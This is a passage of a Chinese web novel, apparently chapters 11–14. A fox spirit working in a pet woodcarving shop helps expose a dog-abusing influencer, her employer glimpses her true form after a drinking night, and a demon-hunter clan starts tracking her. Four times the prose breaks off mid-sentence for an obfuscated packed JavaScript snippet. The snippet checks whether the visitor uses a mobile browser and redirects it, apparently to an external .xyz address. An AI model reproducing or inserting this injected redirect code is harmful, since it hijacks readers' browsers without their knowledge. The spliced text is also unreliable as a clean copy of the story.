;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126315|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝，饶有兴致地慢慢喝水，他刚醒，没想到小柳她们起得那么早。 今天对多宝来说是挑战很大的一天，从第一只狗狗来学校报道起，对它的考验便开始了，多宝今天的任务是在学校和同学们好好相处，最好交到一两个好朋狗，融入集体。 以前跟着大头，多宝像坐牢一样，出门放风的时间极短，大头日夜颠倒，每次都在夜深人静的时候牵多宝下楼，等上完厕所马上就回家，别说交朋友了，多宝大多数时候都看不到一根狗毛。 可到了狗狗学校就不一样了，多宝要和不同品种大大小小的狗狗打交道，一起玩耍、一起学习、一起吃饭，这对它来说并不是那么容易。 好在多宝和小柳待了大半天，抵触情绪减少了很多，不过小柳牵着多宝站在校园门口等其他同学报道，心里还是非常紧张。 “小柳！” 小柳回头一看，原来是木青杨和鹏哥正朝校门口走过来，他们很有默契地站在小柳这边，来给多宝加油。 很快，第一只狗狗到了，憨乎乎的阿拉斯加，主人叫它“壮壮”。 训犬师牵着壮壮，介绍新同学，“壮壮，来，这是我们的新同学多宝~” 小柳感觉手里的狗绳一紧，多宝果然开始害怕了，面对这只大家伙，多宝吓得直往小柳背后钻，不知所措地原地绕圈圈。 “好，我们慢慢的，多宝姐姐可以安抚它一下。”训犬师发出指令，小柳立刻轻声呼唤多宝，让她平静下来。 壮壮很友好，看到多宝这个新朋友，大尾巴摇成了螺旋桨。见到壮壮没有敌意，多宝不再拼命躲避，不过身体还是略显僵直，显然防备心还很重。 训犬师一看多宝的态度有些松动，便开始了进一步引导，让小柳把牵引绳解开，训犬师用力将一个飞盘甩出去。 没有狗狗能对飞盘视而不见，飞盘一脱手，壮壮和多宝同时窜出去。 小柳也想跟着跑，被木青杨拽住，这是毛孩子的游戏，大人还是在旁边看着比较好。 壮壮体格大，经常锻炼，奔跑速度也比多宝快，一下子窜出去比多宝快两个身位，按理说这场接飞盘大赛，壮壮是绝对的第一名。 可它跑到一半却停了下来，原地等着多宝，它在示好，故意把飞盘让给新交的好朋狗。 多么单纯又善良的大狗狗啊，多宝也不负众望，一个飞扑成功叼住了飞盘。 众人齐声欢呼，为它喝彩。 游戏调动起了多宝的情绪，让它慢慢卸下了心防，几轮下来已经接纳了壮壮，两只小狗互相嗅嗅、蹭蹭，你追我赶，成为了好朋狗。 小柳看着多宝交到了第一个朋友，欣慰地落了眼泪，看着多宝青涩、笨拙却勇敢地迈出第一步，她仿佛看到了五百年刚化人形的自己，新的环境、新的人，适应起来着实是不容易呢！ 木青杨敏锐的察觉到了小柳的情绪，轻轻拍拍她的肩膀，看着多宝，心里也是诸多感概，才过去一天，小狗的状态明显好了不少。 有了第一个朋友，接下来便是第二个、第三个……一上午过去，多宝已经和狗狗同学、训犬师混熟了。 小柳三人陪着多宝上了一上午课，到了午休时间，鹏哥接到了小赵的电话，电话那头说针对大头的实锤视频已经剪好了。 11. 打脸 众人聚在鹏哥办公室看小赵剪好的视频，视频主要分两部分，开篇哐哐上证据——医院的诊断证明、鹏哥和医生的对话片段，在第一时间抓住观众的眼球，把大头钉在虐狗的耻辱柱上。 第二部分则是多宝进狗狗学校前后的状态对比，以前和大头合拍的视频中，多宝总是暴躁易怒、吠叫拆家，而自从来到学校，多宝成了训犬师认证的模范狗宝，还交到了好朋狗，草坪上飞奔的多宝刚入学便摘掉了问题狗狗的帽子。 视频剪得很好，节奏快、文本抓人、一针见血，鹏哥冲小赵竖起大拇指。 木青杨思忖片刻，询问道：“鹏哥，视频里能不能帮我们木雕店也澄清一下，就加在第一部分后面，提一嘴小柳的宠物沟通做得没问题。” 小柳马上响应：“是呀是呀，好多人都说我们是骗人的，给大家澄清一下比较好。” “而且我和小柳来找多宝这件事，对外一直是保密状态，如果发共创视频的话，显得木雕店和狗狗学校线下有联系，万一大头的粉丝倒打一耙，说我们串通陷害大头，也不好解释……”木青杨补充道。 鹏哥听了木青杨的建议，连连夸赞：“青杨，你考虑得更周到，加上好，又自然，效果又好。” 听领导这么说，小赵也马上表态：“没问题，那我现在就去改。”话音刚落便拿着电脑去了隔壁办公室继续加工视频。 鹏哥凑到小柳身边，捂着嘴跟她耳语：“小柳，你们店长脑瓜很聪明，很有网感嘛！” 小柳看着木青杨嘿嘿傻笑，同样捂着嘴回应鹏哥：“是啊是啊，店长是我们家的智慧担当。” 话虽这么说，小柳心里却在想：自家店长点评别人时确实有网感，说得头头是道，一轮到自己出镜搞直播，就自动变身木头人，典型的光说不练。 “说我什么坏话呢？”木青杨一个眼神杀过来，小柳立马溜走，鹏哥见状揶揄道：“你吓唬小姑娘干什么呢？这么优秀的员工，你不要我可招过来了。” “她吃得多，你养不起。”木青杨淡淡地说，说完便迈开步子淡淡地飘走了。 鹏哥反应慢半拍，望着木青杨的背影嘟囔道：“哼，瞧不起谁呢？”嘴上这么说，实际上却有点心虚，小柳这饭量真不是盖的。 …… 小赵速度很快，不到一个小时便反馈了第二版视频，这次大家意见一致，可以发布。 下午三点，针对大头的实锤视频点击发送。 评论一条一条增加，义愤填膺的网友越聚越多，几人捧着手机，每隔几分钟刷新一次，很快，视频点赞破万、破五万…… 【变态！！！绝不能容忍！！！】 【一直以为萌宠博主，最起码都是善待宠物的……】 【建议报警查查大头的精神状态，现在虐狗，下一个就会伤人。】 【看的心好痛……多宝身上竟然有这么多伤，一直被当作牟利工具……】 网友们在实锤证据面前，既震惊又气愤，集体讨伐虐狗的变态博主，大头以极快的速度开始掉粉，五十多万粉在半小时内掉到了四十万出头。 平时这个时间大头还在睡觉，今天却被不断响起的手机提示音吵醒，一睁眼看到的便是铺天盖地的辱骂，不明所以的他顺着网友评论内容，发现了鹏哥账号发布的实锤视频。 下一秒，鹏哥电话铃声响起，一看来电显示是大头，鹏哥示意大家伙安静，按下了接听键，打开免提。 大头气急败坏的谩骂从电话那头喷涌而出，鹏哥一声没吭，果断挂掉电话，将这个碍眼的电话号码拉进黑名单。 小柳听到大头的咆哮，一点都不生气，大头越着急意味着事情越棘手，他越难受小柳就越开心，终于帮多宝出了这口恶气。 “鹏哥，没想到这次能这么顺利揭发大头，这多亏了你。”小柳心中感概万分，来学校的路上遇到鹏哥，并肩作战抓狗贩子，一起帮助多宝，这都是命运的安排，幸亏命运让自己遇到了鹏哥这个好人。 “是啊，本来我们都不知道来狗狗学校以后怎么办，没想到半路上能碰到你。”木青杨也附和道。 “有什么谢不谢的，不要说这么见外的话，”鹏哥一向是铁汉柔情，听了这些感激的话，脸红成了猴屁股，动作都扭捏起来，“大头自己不干好事，而且他还利用我们学校洗白，就算没有你们拜托，我也不会放过他！” 视频已经起了效果，接下来便是耐心等待了。 一直到晚上，大头虐狗事件持续发酵，营销号下场更是扩大了虐狗事件的影响力，甚至有地方官媒转发视频，直击萌宠博主虐待动物、摆拍牟利乱象。 鹏哥账号发布的实锤视频点赞量已经高达二十万，十几万的评论清一色都是对大头的谴责。 【大头与多宝】账号还在持续掉粉中，事件主人公大头躲在暗处一直未发声，舆论已经不是他所能控制，只能不甘心地当一只缩头乌龟。 墙倒众人推，之前力挺他的粉丝，在【青杨宠物木雕】评论区肆意辱骂的粉丝，全部都消失得无影无踪。 实锤视频像是一块巨石，抛入池中，溅起水花，平静的池面泛起层层涟漪，一时间主打“拆家恶犬”主题的萌宠账号都遭到了前所未有的审视。 网友甚至发起了【萌宠博主黑名单】的投票活动，将那些对宠物过分严苛、摆拍痕迹过重、有虐宠嫌疑的博主筛选出来，由网络判官们一帧一帧地检查。 众所周知，宠物智商不高，也没什么耐心，一条成片的背后积累了多少次重复、多少次强迫，有多少个和多宝类似的小可怜被迫一遍遍配合主人，被当作摇钱树？ 小柳并不反感这样地审视，相反她觉得更多关注萌宠博主中宠物的处境是一件好事。 入夜时分，大头的账号在热心网友的举报下被封禁了，持续了三年残忍的敛财行为、虐狗恶行就此画上了句号。 小柳松了口气，心里一块大石头总算落了地。 【青杨宠物木雕】账号也迎来了好消息，事实证明小柳和多宝的沟通结果是正确的，一时间评论区成了网友的提问箱， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126316|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 网友纷纷带着自家毛孩子的照片来找小柳“看相”。 这实在有点强人所难了，小柳对着一群猫猫狗狗的照片，翻来翻去什么都看不到，她只是只小妖，又不是大罗神仙，网友的操作让她哭笑不得。 不过，看相的评论总比骂人的评论强，随着大头的翻车，“初出茅庐的神婆”因成功看出多宝的异样也小火了一把，粉丝量从五万到十万，半天内翻倍上涨。 “店长，我们这次回去就可以继续直播、接单了。”小柳倚在沙发上，边说话边晃着腿，像在荡秋千，一看就心情大好。 木青杨“嗯”了一声，说道：“不着急，你可以再休息两天。” “不休息，不休息，”小柳连连摆手，“好几天没开张了，我们总不能喝西北风吧。” 多好的员工啊，鹏哥剜了一眼立功后瘫在沙发上玩游戏的小赵，看看人家看看你，像小柳这样具有主人翁意识的员工可不多了。 鹏哥认真衡量了一下成本与收益，感觉还是把小柳挖过来比较好，他有预感小柳会成为明星训犬师，狗狗学校的活招牌。 木青杨注意到鹏哥用恶狼般贪婪的眼神盯着小柳，脸上泛起意味不明的笑，那架势就差流口水了，心中顿时警铃大作，叉着腰堵在鹏哥面前，切断了他的目光。 鹏哥从自己的挖角想象中回过神来，尴尬地干咳一声，问道：“青杨，那你们接下来什么打算？” “事情办完了，明天就该回去了……” 木青杨话还没说完，小柳便急着发问：“那多宝怎么办？我们能带着它吗？” “可以，你想带就带，反正大头已经社死了，多宝对他没有价值，肯定不会来接多宝了。”木青杨轻描淡写地同意了，家里多一个狗狗更热闹，他没什么意见。 鹏哥却提出了不同的意见：“我觉得多宝还是暂时在我这儿比较好，一方面它今天在这儿交到了很多新朋友，肯定舍不得一下子就搬走，另外，狗狗身体情况还不稳定，最好还是定期去廖院长那儿复查，他可是名医。当然，如果小柳妹妹愿意的话，训犬师的职位……” “小柳，你问问多宝吧，看看小狗怎么想。”木青杨打断了鹏哥的挖角发言，转身跟小柳说。 小柳赞同地点头。 …… 客房卧室内。 小柳多宝，一狐一狗贴贴，讲着悄悄话。 小柳问多宝：“想不想跟姐姐回家？” 多宝乖乖说：“又想又不想。” 狗狗解释到，自己非常喜欢小柳，很想和她生活在一起，但今天一天的校园生活太丰富多彩了，它短短的狗生里，从没有一次性见到这么多朋友，从没有尽情地在草地上狂奔过，它放不下朋友，想要更多地探索狗狗学校的一切。 “这样吧多宝，你先在狗狗学校暂住一段时间，什么时候想跟姐姐一起生活了，你就去啃鹏叔叔的腿，就是这两天经常见到的高高的壮汉，穿黑背心那个，知道吧。” 多宝点点头，只有鹏哥一人受伤的世界达成了。 12. 酒后 “为什么想回家就要啃我的腿啊？”鹏哥一脸无辜地抗议。 小柳理直气壮地解释：“那怎么办？孩子说话你又听不懂，反正这相当于一个暗号，多宝如果啃你腿了，就拜托鹏哥给我们打电话哦，我来接狗~” 鹏哥无语默认。 “好了别闹了，今天早点休息吧，我订明天的车。”木青杨跟小柳说。 “订啥呀订，明天让小赵送你俩回去。”鹏哥大方提议。 木青杨礼貌回绝：“这次给你添了这么多麻烦，哪儿好意思再麻烦你。” “不麻烦不麻烦，多宝的事情也是间接帮了我，避免被那个虐狗混蛋利用，说起来我还得感谢你们呢。这次来学校，天天吃食堂，也没尽好地主之谊，这样吧，我们晚上去外面搓一顿，明天睡到自然醒把你们送回去。” 小柳一听“搓一顿”，眼睛唰地亮了，“好欸好欸，我们去吃顿大的！” 木青杨见小柳这么激动，也不好扫大家的兴，不过还是默默地想，得找机会把晚饭钱付了，白吃白住两天总得给鹏哥些回馈才行。 木青杨和他人总是保持淡淡的相处模式，可以主动帮助别人，却从不欠别人人情，习惯了给予却不知道怎么索取，毕竟他的成长经历不允许他向外索取，所以和鹏哥相处时，他也延续了这样的习惯。 …… 烤串店里人声鼎沸，隔着布帘的包间□□哥、小柳，木青杨、小赵对坐。 点单重任自然落在了桌上最喜美食的小柳和小赵身上，牛肉、猪肉、鸡肉，各个部位、各种口味的先各来一份，他们点完以后鹏哥又加了两份爽口小菜和啤酒。 木青杨平时滴酒不沾，但看鹏哥这热情地样子，也不忍开口扫兴，只是借口去洗手间绕道收银台默默结了账。 小柳第一次吃烧烤，平时吃惯了家常小炒，猛地尝到炙烤油脂的香味，整个人彻底陷入了美食诱惑中，左手一串羊肉串，右手一串牛板筋，吃得不亦乐乎。 “来，大家举杯，庆祝一下！”鹏哥给四人都倒好了啤酒，吆喝大家干杯。 木青杨看看小柳手里一大扎啤酒，提醒她悠着点。 杯子碰撞发出清脆的响声，小柳第一次喝酒，新奇地抿了一小口，嘴唇沾了一圈泡泡，没尝出什么味儿，索性喝了一大口，冰冰滑滑的液体流经咽喉、淌过食道，打个嗝，回味麦芽的香气。 小柳瞬间爱上这神奇饮料的口感，她从来没喝过这么好喝的东西，佳酿！佳酿！ 热情的鹏哥一看小柳这么给面子也越喝越嗨，在饭桌上高谈阔论，讲述自己艰难的老兵创业史。 他曾经开过老兵烧烤店、老兵包子铺、老兵火锅店，退伍费花光了以后终于明白自己不是干餐饮的材料。 勇闯餐饮业失败后，鹏哥结合自身优势，比如热爱小动物，有过养狗训狗知识，认真学习了训犬经验，最终拉到合伙人，开了这家狗狗学校，靠着好口碑一步步走到现在。 在场的人沉浸在他的讲述中，也不由得心潮澎湃，几人干了一杯又一杯。 小柳第一次喝酒，没想到自己酒量还挺大，鹏哥说话都开始大舌头了，小柳依然脑子清楚、口齿伶俐。 可旁边的木青杨就没这么清醒了，不知不觉，小柳发现自家店长已经趴在桌子上，直不起身了。 木青杨本意是想自己少喝一点，再帮小柳挡挡酒，可没撑多久眼皮越来越沉重，什么时候失去意识的自己都不知道，他只记得在睡梦中，还在劝诫小柳一定要少喝一点。 不久后鹏哥也倒下了，只剩小柳和小赵还有沟通能力，小赵是个技术宅，小柳听他分析短视频时代的种种新鲜知识听得入了迷。 这顿饭一直吃到午夜，小赵叫了代驾，小赵负责扶着鹏哥，小柳驮着木青杨，四人互相搀扶着回了狗狗学校。 …… 如果木青杨清醒着，他一定会把小柳拦在房门外，可惜，他现在完全喝晕了，脚步虚浮，小柳搀着他，回到了客房。 “店长，你先坐一下，我去倒杯蜂蜜水，喝完再睡。” 这是小赵传授给小柳的解酒小知识，据说可以让醉酒的人好受一点。 木青杨满脸通红，小柳扶着他坐在椅子上，他的头无力地垂下，像是要往前栽倒，小柳赶紧往他怀里塞了个大抱枕，刚好托住下垂的脑袋。 店长这酒量也太差了吧！小柳连灯都没空开，借着明亮的月光倒了水，捏着木青杨的下巴硬是给他灌了进去。 好了，现在可以睡觉了，小柳把抱枕拿开，架着木青杨的胳膊把他拖到床上，胳膊一甩不小心拽掉了挂在书包上的木雕挂坠。 小柳只听到床下咕咚咚一串响声，蹲下身子拿手机手电筒一照，原来小狐狸挂坠滚落到床下。 小柳伸着胳膊使劲往里够，没够着，木青杨把挂坠当个宝，小柳想问他借都借不过来，要是被他知道了，免不了要挨顿骂。 人类的身体真是不灵活，这么大个，柔韧性又很差，小柳肚子里的酒水晃荡着，胆子似乎也大了些，抬头看了看侧着身子进入浅眠的木青杨，轻声唤道：“店长……” 一片寂静，无人回应。 小柳放心大胆地现了狐身，半截身子钻进床底，伸出爪子一勾便把挂坠勾了出来。 就在这时，木青杨鬼使神差睁开了眼，一条毛茸茸的大白尾巴竖在他床边，一时间酒醒了大半。 这宽厚的后背，撅着屁股钻在床底的动作，月光映照下泛着银光的毛发，活脱脱像一只—— 狗。 这狗木青杨再熟悉不过了，是一只萨摩耶，而且是他记忆中的萨摩耶，他小时候最好的狗狗伙伴，早已死去的爱宠“圆圆”。 随着小柳再次化身人形的动作，木青杨酒彻底醒了，他全身因紧张、害怕、兴奋种种复杂的情绪而微微颤抖。 小柳抓着挂坠，长呼了口气，挂在了木青杨的书包上。 木青杨闭紧了双眼，不敢相信自己看到的这一切。 “店长，你好好休息，我先走了。”小柳将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126317|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被子一角搭在木青杨肚子上，把他的胳膊腿调整到一个舒服的姿势，便转身准备离开。 小柳刚转身，手却被木青杨一把抓住，明明方才木青杨还因酒精的作用浑身发烫，可这时他的手里却满是冷汗。 店长是身体不舒服吗？小柳狐疑地转回身子，对上了木青杨清亮地眸子，仿佛醉酒的模样只是小柳的想象。 “店长……”小柳看着木青杨不明所以地唤了一声。 木青杨一使劲，小柳整个人向前倒，险些跌到他身上，好险好险，幸亏小柳眼疾手快，用胳膊撑住了。 小柳心想这要是真砸下去，还不得把店长砸出个好歹啊，真是惊险。 木青杨心情复杂地看着她，之前总觉得小柳像狗狗，现在看来感觉是对的，难道是圆圆转世成小柳了？可她又能变成狗，又能变成人，不是转世，应该是成精了。 可是人们都说建国以后不许成精，他的狗到底变成什么了？木青杨皱着眉头想不出答案，不过成精也好、变怪也罢，只要狗狗回到他身边就好，失而复得的喜悦充斥了他的心。 根据小柳出现的时间，难道是那次拜山神以后山神娘娘显灵了？ 木青杨一伸手搂住小柳的脖子，将她毛茸茸地“狗头”按在怀里，抚着她的头发，小柳瞬间瞳孔放大，一股热流直冲向天灵盖，她的脸火烧一样滚烫。 小柳不知所措地推开木青杨，连招呼都没打，冲出了卧室，回到隔壁客房，砰的一声关上了门。 “圆圆，这次我一定会好好养你的，绝对不会再出意外。”木青杨看着她的背影，默默下了决心。 感谢神仙让他的狗又回到了他身边，木青杨心想一定要找个时间回山神庙还愿，不过上次打碎侍女塑像，跟门卫大爷闹得很不愉快，不知道还能不能进得了庙门…… 隔壁客房里，小柳的心却成了一团乱麻，她像是坏掉了的蒸汽火车头，蒸汽喷涌，火车却在原地不动，脑子里一片空白，店长为什么要拉她的手？为什么要抱她？为什么要摸她的头发？是喜欢她的意思吗？ 这不是自己想要的吗？同床共枕过上幸福生活？不是说好以身相许的吗？为什么不由自主地要跑？电视剧里怎么演来着？ 太多的思绪充斥在她单纯的空脑袋里，快要爆炸了，小柳把头蒙在被子里，紧紧闭着眼睛，勒令自己快快睡着。 …… 第二天日上三竿，大家才纷纷起床，小柳、木青杨和多宝、鹏哥告了别，跟着小赵上车，准备回家了。 说话的一小会儿功夫，鹏哥发现木青杨的目光像是钉在了小柳身上，脸上满是慈祥的微笑，这像老父亲一样欣慰的眼神是什么回事？ 而小柳往常店长长、店长短的，今天却像避嫌一样，离木青杨八丈远，坐上车了也一直朝车窗外看，像是做了什么见不得人的亏心事。 这俩人绝对有鬼，鹏哥觉得昨天晚上一定是发生了不得了的事…… 引擎启动，还没等鹏哥想出个所以然，车子已经开远了。 13. 追踪 周陈飞，出身除妖世家，十年前老爹去世后开始掌家，二十五岁便当上了周家第五十代家主。 “六子，开快点。”周陈飞坐在后座催促他的助理六子，抿着嘴一脸阴沉。 黑色轿车正在前往山神庙的环线上飞驰，今年巡封的小外甥打来电话说封印被破，狐妖跑了，那可是五百多岁的大妖，积了这么久的怨气，一朝出山，这还得了？ 巡封，即巡视封印地，是周家除妖师每年的例行工作，封印都是功力深厚的老祖宗们亲自下的，靠谱得很，按理说不会有什么问题，因此这项需要长途跋涉又无聊的工作，一般由资历最浅的学徒负责。 今年轮到周陈飞最宠爱的小外甥巡封，却偏偏出了事，几百个大大小小的封印中，唯独山神庙侍女塑像被破，五百年前被老祖宗封印在山神庙的狐妖跑了。 妖和人不同，寿命极长，又极其难杀，周家对付妖物一贯的做法就是下封印，一般会将妖物封印在偏远的道观庙宇，遇到穷凶极恶的妖物，封印时还会再加一道血咒。 血咒，顾名思义需要功力高强的除妖师以心头血下咒，就算大妖冲破封印，身体内的血咒也会如影随形，慢慢侵蚀真身，只要使用妖力，就会加快侵蚀进程，短则几个月，长则几年，终会将置妖物于死地。 可血咒是最后一道防线，大妖出逃，心中满是怨念，在血咒发作之前，很可能会报复人类，酿成大祸。 因此周陈飞接到外甥的电话后才马不停蹄地往南城山神庙赶。 历代周家人都是狗鼻子，最能通过气味辨妖，现在赶过去，妖气未散，兴许能跟着残留的妖气找到狐妖的藏身之所，在她没发狂前，将她重新抓回来。 想到这儿，周陈飞不禁感概道：“一代不如一代。”家族延续到现在，能称得上“狗鼻子”的仅剩他一人，其他人最多只能依着老祖宗留下来的半本《除妖本纪》画画符、掐个诀、念念咒，做做辅助工作。 小外甥周家宝便是如此，可能是被他那个不争气的爹坏了基因，完全不成气候。 六子没听清周陈飞的话，问道：“啊？周总，您说什么？”周家发展到现在，早就成立了公司，把家族包装成了建筑行业的正规企业，员工都称周陈飞为“周总”，除了核心成员知道周家真正的除妖营生外，其他人连世上有妖都不知道。 “没什么，快开吧。“周陈飞眉头微微皱起，开始闭目养神。 …… “舅舅！”周家宝见自家小舅来了，仿佛看到了救星，远远地向周陈飞招着手。 门卫大爷一见周陈飞，比周家宝还激动，这座庙每年的维护修缮费，自己每个月的工资可都是周总资助的，面对金主，门卫大爷紧走两步迎接，点头哈腰，脸都要笑烂了。 周陈飞冲周家宝点点头，周家宝立即乖巧地站在舅舅身后，心想，自己出来巡封一走大半年，感觉舅舅气场更强了，站在旁边都有明显的压迫感。 “李叔，最近庙里有什么异常吗？” “哎，周总，我刚准备这个月末跟领导汇报呢，娘娘旁边那尊侍女像被个毛头小子打碎了。” 周陈飞边听李叔说话，边走进了山神庙，侍女像原地消失了，只剩下底座一圈谈谈的白印。 哪儿来的毛头小子，封印物可不是那么容易能打破的，身为镇压妖物的器具，一旦加上封印后，便成了最坚固的牢笼，此事必有蹊跷。 “周总，您是不知道，那天古怪得很，刚开始那小子只是撞断了侍女的手腕，老汉我当然不能放过他，可是后来山神娘娘发了飙，谁都没碰塑像，塑像自己就碎成了渣，我太害怕了，光顾着拜山神娘娘，没把那小子逮住……这……事发突然……” 周陈飞抬了抬眉毛，侍女断手，封印便破了，之后塑像粉碎一定是狐妖干的。 “李叔，这儿没你事了，忙去吧。” “哎，好嘞，好嘞。”李叔见周总没怪罪自己失职，急忙退下。 周家宝见庙内只剩下自家人，这才开了口：“舅舅，现在怎么办呀？要不你闻闻，这么久了还能有味儿吗？” 周陈飞抬起手示意他安静点，闭上眼睛仔细嗅闻，捕捉到一缕淡淡的味道。 三人跟着这缕时断时续的味道，一路下了山，一直跟到木雕店门口，浓烈的气味说明周陈飞找对了位置。 “青杨宠物木雕？”周家宝看着门口的招牌喃喃自语道。 好久没闻到这么浓烈的妖气了，周陈飞拿出口袋巾捂着鼻子，“六子你在附近找地方住，盯着这家店，有情况随时汇报，家宝跟我先回家。” 六子在木雕店对面的居民楼四层租了房，窗边架了台摄像机，镜头正对着店门口。 就在他蹲守两天后，木青杨和小柳回来了。 六子眼疾手快拍下了二人的照片，传给了周陈飞。 …… 木雕店门口，小柳和木青杨下车告别了小赵，不知怎的，小柳总有种奇怪的感觉，好像有人在盯着自己看，可环顾四周却一个人影都没有。 “愣着干嘛？赶紧回家做饭吃，你饿了吧？” “老父亲”木青杨这么一问，小柳的肚子应景地咕咕直叫，跟着店长跑进了木雕店。 绵绵还在王奶奶家，家里显得格外冷清，小柳坐在餐桌前，看着木青杨在厨房里忙前忙后的身影，乖乖等着吃饭。 木青杨回头发现小柳乖乖坐着，冲她微笑着说：“先垫点水果，饭马上好。” 又是这个慈祥的微笑，自从昨天醉酒以后，这笑仿佛成了他的招牌动作，短短半天，小柳接收到的店长的笑容比之前那么多天加起来都多，实在是有点受宠若惊。 这是喜欢吗？这个想法让小柳起了一身鸡皮疙瘩，不能吧？有点太容易了吧？ 而且电视剧里演的喜欢就会亲亲抱抱，现在抱抱倒是有了，可是那算抱吗？店长只是像撸狗一样摸了摸自己的头发…… 哎呀，烦死了，小柳甩甩头，想把这些乱七八糟的想法甩出脑子。不管了，先自然地相处，走一步看一步吧。 随着香香的饭菜端上了桌，小柳的烦心事也抛在脑后，专心吃起了饭。 吃过饭小柳跟木青杨打声招呼便出了门，去接绵绵回家。 …… “月婷姐、王奶奶，我回来啦~”月婷给小柳开了门，但王奶奶却迟迟没应声。 绵绵、豆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126318|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豆听到小柳的声音，都跑来门口迎接。 月婷跟小柳解释道：“我妈妈昨天住院了。” “啊？怎么回事？那我就不进门了，月婷姐你告诉我在哪个医院，我去看看她。”小柳急忙说道。 “老毛病犯了，说是膝盖疼，你先别急，我正好要回医院呢，我带你一起去。” 小柳这才发现月婷姐确实已经穿戴整齐，连鞋都换好了，一看就是正准备出门的样子。 “好的好的，我们把狗狗先交给我们店长吧，然后一起去医院。” 月婷开车带着小柳，路过木雕店把两只狗狗交给木青杨，便出发前往医院。 在对面监视的六子按下快门，拍下了月婷的侧影和车牌号，传给幕后的周陈飞。 月婷开车很猛，算起来小柳已经经历了网约车师傅、小赵两个司机，月婷比他们开车快多了，坐在副驾驶上能明显感觉到推背感。 作为一个刚坐了几次车的五百多岁“老年人”，虽系着安全带，小柳还是不自觉地抓住车门把手。 月婷通过内视镜看看小柳，笑着说：“我爸是乌鸦。” 小柳心里一惊，就这么简简单单地说出来了？月婷还真是半妖。 作为交换，小柳也说了自己的秘密：“我是狐狸。” “哦？一看你就觉得很可爱，狐狸精还真的是跟传说中一样漂亮呢。” 小柳收到月婷的夸奖，不好意思地笑笑，摆手说：“哪里哪里，月婷姐，那王奶奶知道吗？” “她应该不知道，半妖小时候跟人没区别，越长大越明显，而且我爸走之前把所有的事情都告诉我了，没必要让我妈背负这些，她要是知道丈夫、女儿是乌鸦，怕是要疯吧，呵呵呵。” 月婷虽语气轻松，可小柳却察觉到了她话语背后的心酸，连自己最亲近的人都无法告知的秘密，一定瞒得很辛苦吧。 妖化形本就困难，再加上有除妖师的威胁，小妖在世很难见到同类，小柳心想月婷姐兴许是太久没看到妖了，才会对自己这么亲近。 “月婷姐，那你父亲现在……”小柳对这位乌鸦前辈很是好奇，在人间组建家庭这么困难的事，他竟然做到了。 “我成年那年突然消失了，连招呼都没打，兴许是被除妖师捉走了，或者厌倦了人间又变回乌鸦了，谁知道呢？不过我妈一直怨他不告而别，还让我改了姓。” “怪不得你和妈妈姓……”小柳有些低落，看来乌鸦前辈的爱情和亲情经营得都不太好，不知道自己和恩人以后会怎么样。 月婷见小柳没了声，主动问道：“小柳，那你寄住在木雕店又是为了什么呢？难不成是为了那个店长吧？” 小柳被说中了心事，有点害羞地说：“他是我的恩人，我之前被除妖师封印了，是他救了我……” 月婷一看小柳这一脸娇羞，心中感概，说一千道一万，妖入人世还是逃不过一个情字。 “那你们有进展了吗？” 小柳脸都红了，小声说：“我也不知道有还是没有……” “到了。”月婷一脚刹车停在了医院门口，转头对小柳说：”下次有机会带我见见他，我帮你把把关。“ 14. 接近 “王奶奶，我来看您了。”小柳快步走到王奶奶病床前，轻声说道。 王奶奶的右腿被夹板固定着，躺在病床上脸色不太好，看到小柳来了，强撑着起身，朝她伸出手，“小柳，你这么快就回来了啊。” 小柳赶忙握住王奶奶的手，扶着她靠在枕头上，“您好好躺着，这是怎么了，怎么突然就住院了？” 之前就听说王奶奶身体不好，遛狗都显得吃力，可真看到人躺在病床上时，小柳还是有点惊讶，人类的身体太脆弱，寿命太短，七八十岁的妖还是小儿，而七八十的人却已到暮年。 “没事儿，小柳，髋关节滑膜炎，我妈的老毛病，牵引加理疗，住几天就能出院了。”月婷边整理着从家带来的日用品边说着宽慰的话。 王奶奶抓住话头又开始絮絮叨叨：“就是说嘛，根本不是什么大毛病，按我的意思在家躺两天就好，你月婷姐非要上医院。” 